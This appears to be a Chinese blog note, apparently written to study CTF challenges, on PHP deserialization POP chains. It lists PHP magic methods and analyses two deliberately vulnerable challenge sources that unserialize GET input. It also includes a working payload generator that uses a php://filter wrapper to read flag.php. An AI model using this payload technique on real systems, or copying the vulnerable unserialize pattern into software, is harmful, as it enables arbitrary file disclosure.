title: POP链date: 2020/2/16 20:46:25
categories: 代码审计
tags: 代码审计
https://blog.szfszf.top/article/24/
https://www.cnblogs.com/nul1/p/8646034.html
https://www.cnblogs.com/pursue-security/p/15291087.html
https://www.cnblogs.com/pursue-security/p/15291121.html
__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
POP链的含义:https://as1def.github.io/2020/10/09/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8CPOP%E9%93%BE%E6%9E%84%E9%80%A0/
简单的序列化攻击因为对魔术方法的触发而调用魔术方法中的一些危险函数执行命令,但如果关键代码不在魔术方法中,而是在一个类的普通方法中,则需要观察联系类与函数之间的关系,将其与魔术方法的利用结合起来,让他们扯上关系,构造出与原代码利用链一致但是部分属性又被我们所控制,这样就可以构造出POP链。
<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
思路分析:
先找链子的头和尾,头部依然是一个GET传参,而尾部在Modifier类中的append()方法中,因为里面有个include可以完成任意文件包含,那我们很容易就可以想到用伪协议来读文件,综合上面的提示,应该flag就是在flag.php中,我们把它读出来就好;找到尾部之后往前倒推,在Modifier类中的invoke()调用了append(),然后在Test类中的get()返回的是$function(),可以调用invoke(),再往前Show类中的toString()可以调用get(),然后在Show类中的wakeup()中有一个正则匹配,可以调用toString(),然后当我们传入字符串,反序列化之后最先进入的就是wakeup(),这样子头和尾就连上了。
<?php
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
$a = new Show();
$b = new Show();
$c = new Test();
$d = new Modifier();
$a -> source = $b;//执行Show::__wakeup() 3.
$b -> str = $c;//执行Show::__toString() 2.
$c -> p = $d;//执行Test::__get() 1.
echo urlencode(serialize($a));
?>
通过将相关的class类链接和一些特殊函数扯上关系就行。
<?php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
利用链:
Start—-Info—-Room
wakeup->toString->get->invoke